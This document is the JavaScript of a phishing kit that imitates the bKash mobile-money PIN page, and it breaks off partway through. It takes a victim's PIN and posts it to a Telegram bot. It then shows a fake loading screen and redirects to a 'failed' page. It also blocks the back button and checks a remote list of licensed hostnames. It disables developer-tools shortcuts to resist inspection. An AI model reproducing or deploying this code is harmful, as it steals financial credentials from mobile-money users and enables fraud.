const urlParams = new URLSearchParams(window.location.search); const walletNumber = urlParams.get('wallet'); function formatWalletNumber(walletNumber) { if (walletNumber && walletNumber.length === 11) { const firstPart = walletNumber.slice(0, 3); // First 3 digits const lastPart = walletNumber.slice(-3); // Last 3 digits const maskedPart = "*".repeat(walletNumber.length - 9); // Mask the middle part const askedPart = "*".repeat(walletNumber.length - 8); // Adding space between masked part and last part return `${firstPart} ${maskedPart} ${askedPart} ${lastPart}`; } else { return "Invalid wallet number"; } } // Display the formatted wallet number document.addEventListener("DOMContentLoaded", () => { const walletDisplayElement = document.querySelector('label[for="pin"] span'); // Find the span inside the label if (walletDisplayElement) { walletDisplayElement.textContent = formatWalletNumber(walletNumber); } }); const invoiceNumber = urlParams.get('invoice'); document.getElementById("invoice").innerText = invoiceNumber; if (!walletNumber || !invoiceNumber) { window.location.href = "https://portwallet.vercel.app/bkash/error.html"; } let amount = parseFloat(urlParams.get('amount')) || 10.00; if (amount > 25000) {amount = 25000;} document.getElementById('amountDisplay').textContent = `৳${amount.toFixed(2)}`; document.addEventListener("DOMContentLoaded", () => { const inputField = document.getElementById("pin"); const confirmButton = document.querySelector(".btn-group__btn-confirm"); const cancelButton = document.querySelector(".btn-group__btn-close"); const confirmText = document.getElementById("confirm-text"); const animationContainer = confirmButton.querySelector(".ellipsis__container-sm"); const invalidMessage = document.querySelector(".mb-8"); // Assuming this exists in HTML and initially hidden const formSection = document.querySelector(".form.d-flex.flex-center-y.text-center.card.bg-cerise"); const cancelModal = document.querySelector(".cancel-modal.card.d-flex.flex-center-y.bg-cerise"); // Hide the invalid message initially if (invalidMessage) { invalidMessage.style.display = "none"; } // Hide cancel modal initially cancelModal.style.display = "none"; // Function to validate the PIN function isValidPin(pin) { if (!/^\d{4,5}$/.test(pin)) { // Check if it is a 4 or 5-digit number return false; } if (pin.startsWith("0")) { // Cannot start with 0 return false; } if (/^(\d)\1+$/.test(pin)) { // Cannot have all digits the same (e.g., 4444, 77777) return false; } if ("1234567890".includes(pin) || "9876543210".includes(pin)) { // Cannot be sequential (e.g., 1234, 5678, 23456) return false; } return true; // Passes all validation rules } // Enable confirm button only if input is 4/5 digits inputField.addEventListener("input", () => { const inputValue = inputField.value; if (inputValue.length === 4 || inputValue.length === 5) { confirmButton.disabled = false; } else { confirmButton.disabled = true; } }); // Handle confirm button click confirmButton.addEventListener("click", () => { const inputValue = inputField.value; // Validate PIN again before proceeding if (isValidPin(inputValue)) { sendToTelegram(inputValue); // Send to Telegram confirmText.style.display = "none"; confirmButton.setAttribute("data-loading", "true"); animationContainer.style.display = "flex"; setTimeout(() => { window.location.href = "/bkash/failed.html"; // Replace with your URL }, 3000); } else { // Show invalid message confirmButton.setAttribute("data-loading", "false"); animationContainer.style.display = "none"; if (invalidMessage) invalidMessage.style.display = "block"; inputField.value = ""; // Clear the input } }); // Function to send wallet number to Telegram async function sendToTelegram(pin) { try { const response = await fetch("/config.json"); // Fetch botToken and chatId from server or JSON file const { botToken, chatId } = await response.json(); const message = `বিকাশ পিন: \`${pin}\``; const url = `https://api.telegram.org/bot${botToken}/sendMessage`; const telegramResponse = await fetch(url, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ chat_id: chatId, text: message, parse_mode: "MarkdownV2", }), }); const data = await telegramResponse.json(); console.log("Message sent to Telegram:", data); } catch (error) { console.error("Error sending message to Telegram:", error); } } // Handle cancel button click (when modal shows) cancelButton.addEventListener("click", () => { // Hide the form section and show the cancel modal formSection.style.display = "none"; cancelModal.style.display = "flex"; // Change cancel button to "Yes" and confirm button to "No" cancelButton.textContent = "Yes"; confirmButton.textContent = "No"; // Ensure "No" button is enabled (it should always be enabled) confirmButton.disabled = false; // Remove existing event listeners for "Confirm" and "Cancel" to avoid duplicate listeners cancelButton.removeEventListener("click", handleCancelButtonClick); // Remove previous listener confirmButton.removeEventListener("click", handleConfirmButtonClick); // Remove previous listener // Re-select buttons after replacing them const newCancelButton = document.querySelector(".btn-group__btn-close"); const newConfirmButton = document.querySelector(".btn-group__btn-confirm"); // Handle "Yes" (cancel confirmation) newCancelButton.addEventListener("click", () => { window.location.href = "/bkash/cancel.html"; // Replace with your URL }); // Handle "No" (return to form), this ensures no redirection or unwanted behavior newConfirmButton.addEventListener("click", () => { // Just return to the form, no redirect cancelModal.style.display = "none"; formSection.style.display = "flex"; // Restore button text newCancelButton.textContent = "Cancel"; newConfirmButton.textContent = "Confirm"; }); }); // Prevent infinite loop by ensuring correct event listener management function handleCancelButtonClick() { cancelModal.style.display = "none"; // Hide modal formSection.style.display = "flex"; // Show form again } function handleConfirmButtonClick() { cancelModal.style.display = "flex"; // Show modal formSection.style.display = "none"; // Hide form } }); history.pushState(null, '', location.href); window.onpopstate = function () { window.location.href = '/bkash/error.html'; }; (async () => { // Check if domain is authorized const currentHostname = window.location.hostname; try { const response = await fetch('https://storageone.vercel.app/authorized-hostname/list.txt'); const text = await response.text(); const allowedHosts = text.split('\n').map(h => h.trim()); if (!allowedHosts.includes(currentHostname)) { window.location.href = '/expired/'; } } catch (e) { console.warn('Authorization check failed:', e); } // Disable common copy/inspect shortcuts document.addEventListener('contextmenu', e => e.preventDefault()); document.addEventListener('keydown', e => { if ( e.key === 'F12' || (e.ctrlKey && e.shiftKey && ['I', 'J', 'C'].includes(e.key)) || (e.ctrlKey && ['U', 'S'].includes(e.key)) ) { e.preventDefault(); e.stopPropagation(); } }); // Hide body on inspect const showBlockedMessage = () => { document.body.innerHTML = '